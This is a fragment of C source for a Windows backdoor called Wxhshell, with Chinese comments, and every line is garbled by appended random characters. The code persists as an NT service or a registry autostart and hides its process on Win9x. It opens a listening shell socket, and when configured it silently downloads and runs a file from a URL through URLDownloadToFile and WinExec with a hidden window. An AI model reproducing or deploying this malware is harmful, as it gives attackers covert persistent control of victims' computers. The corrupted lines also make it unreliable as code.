} PROCESS_BASIC_INFORMATION; 0 #8
i\6CE|
PROCNTQSIP NtQueryInformationProcess; DEZww9T2Qs
{nV/_o$$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m=01V5_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lAU99(GXV
.rtA sbp.!
HANDLE hProcess; 'GJB9i+a^
PROCESS_BASIC_INFORMATION pbi; [h3xW
h9Far8}
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "r&,#$6W6
if(NULL == hInst ) return 0; P$ o bID
k4ti#3W5eG
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bz ;r<Kn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n4kq=Z%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g0grfGo2p
m;dwt1'Zw
if (!NtQueryInformationProcess) return 0; >R F|Q
2$Mnwxfk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AT"gRCU$4
if(!hProcess) return 0; a!$kKOK
>B{NxL3->
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~*Y#Y{
!rUP&DA
CloseHandle(hProcess); [7@g*!+d
)aIcA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OBAO(Ke
if(hProcess==NULL) return 0; %4*c/ c6
bCw{9El!K4
HMODULE hMod; ?#K.D vGJ
char procName[255]; bTD?uX!^@
unsigned long cbNeeded; cT'Bp)a
XGSFG~d
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 072C!F
}:#WjH^
CloseHandle(hProcess); LL( xi )
8S1@,O,
if(strstr(procName,"services")) return 1; // 以服务启动 Pp_4B
<VxA&bb7c
return 0; // 注册表启动 P-\f-FS
} -+WAaJ(b
{zb'Z Yz
// 主模块 cZh0\DyU
int StartWxhshell(LPSTR lpCmdLine) *k LFs|U
{ /L^g. ~
SOCKET wsl; b&rBWp0#
BOOL val=TRUE; ps{4_V-3 u
int port=0; K}l3t2uk
struct sockaddr_in door; !zE{`Ha~
Q VTL}AT2:
if(wscfg.ws_autoins) Install(); ;_cTrjMv\
_N`.1Dl%Q
port=atoi(lpCmdLine); ?Y~t{5NJR
DhM=q
if(port<=0) port=wscfg.ws_port; Pm/<^z%
xWG@<}H
WSADATA data; sq'm)g
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kOQ)QX
I0}.!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ukR0E4p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *O_fw 0jV
door.sin_family = AF_INET; *$eH3nn6g
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O)dnr8*
door.sin_port = htons(port); uuY^Q;^I*
=<n ]T;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &BPYlfB1
closesocket(wsl); d1D
f`
return 1;
DN2 ]Y'
} s>>&3jfM
(e7!p=D
if(listen(wsl,2) == INVALID_SOCKET) { d {!P
c<
closesocket(wsl); N1'`^a y$
return 1; e gq,)6>
} W3.[d->X
Wxhshell(wsl); !K-1tp$
WSACleanup(); $nE{%?n-#
=0cTct6\
return 0; OR@
67Y
9kD#'BxC
} 8T3,56>
^)dsi
// 以NT服务方式启动 CPJ<A,V
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) doanTF4Da
{ |=}+%>y_
DWORD status = 0; &ivU4rEG
DWORD specificError = 0xfffffff; s 4`-mIa
oZ%uq78#[%
serviceStatus.dwServiceType = SERVICE_WIN32; }WsPu o
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M}|(:o3Yo
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 07.p
{X R
serviceStatus.dwWin32ExitCode = 0; [edF'7La
serviceStatus.dwServiceSpecificExitCode = 0; -gs
I:-Xo
serviceStatus.dwCheckPoint = 0; o-8{C0>:
serviceStatus.dwWaitHint = 0; gNZwD6GMe?
3WwS+6R
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dge#e
if (hServiceStatusHandle==0) return; TQn!MUj/^
oKn$g[,SJh
status = GetLastError(); 1`8s
"T
if (status!=NO_ERROR) N?@^BZ
{ t1Ts!Q2
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7\UHADr
serviceStatus.dwCheckPoint = 0; $>/d)o
serviceStatus.dwWaitHint = 0; H(^Ehv>
serviceStatus.dwWin32ExitCode = status; _`?0w#>0
serviceStatus.dwServiceSpecificExitCode = specificError; v^&HZk=(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ZZe*B!s_
return; 'Dfs&sm
} p\[!=ZXFr\
5HbHJ.|r
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?AFb&
serviceStatus.dwCheckPoint = 0; }U7IMONU
serviceStatus.dwWaitHint = 0; b~.$1oZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )9 Q+07
} M ygCg(h
Gpu[<Z4
// 处理NT服务事件,比如:启动、停止 s,_+5ukv
VOID WINAPI NTServiceHandler(DWORD fdwControl) K28L(4 )
{ %B@NW2ZQ[
switch(fdwControl) P`Zon
{ u$JAjA
case SERVICE_CONTROL_STOP: "Da1BuX\
serviceStatus.dwWin32ExitCode = 0; T, #-: }
serviceStatus.dwCurrentState = SERVICE_STOPPED; Vg$d|m${
serviceStatus.dwCheckPoint = 0; F+*E}QpM
serviceStatus.dwWaitHint = 0; :-x?g2MY
{ 5X0ex.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`F(wk["m
} K\-N'M!Z
return; v6)QLp
case SERVICE_CONTROL_PAUSE: xsZN@hT
serviceStatus.dwCurrentState = SERVICE_PAUSED; ?w/p 9j#
break; VESvCei
case SERVICE_CONTROL_CONTINUE: M{L<aYe
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0L>3i8'
break; @ 51!3jeu
case SERVICE_CONTROL_INTERROGATE: Oem1=QpaC
break; ~|KqG
}; 5j`sJvq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8$-MUF,
} 6Jgl"Jw8
j"jssbu}
// 标准应用程序主函数 s~,!E
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s$(%]~P
{ S\Z*7j3;M
S[L@8z.Sj
// 获取操作系统版本 $@VJ@JAe
OsIsNt=GetOsVer(); i7dDklj4
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,.Ofv):=
E]q>ggeNH
// 从命令行安装 `6rLd>=R
if(strpbrk(lpCmdLine,"iI")) Install(); 0/~p1SSun
[
&Wy $
// 下载执行文件 lZwjrU| _
if(wscfg.ws_downexe) { C 9%bD
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7Ydqg&
WinExec(wscfg.ws_filenam,SW_HIDE); N)(m^M(~0
} p7+{xXf
1
k!gR
if(!OsIsNt) { 9?Bh8%$
// 如果时win9x,隐藏进程并且设置为注册表启动 hEjvtfM9\-
HideProc(); "0!#De
StartWxhshell(lpCmdLine); 6ud?US(
} Cnpl0rV~5
else K14.!m
if(StartFromService()) :/6:&7s
// 以服务方式启动 p cD}SY
StartServiceCtrlDispatcher(DispatchTable); 6%EpF;T`
else 4"PA7
e
// 普通方式启动 OC5oxL2HTe
StartWxhshell(lpCmdLine); ]9@4P$I
Rs<S}oeLn
return 0; qo9&e~Y<G
}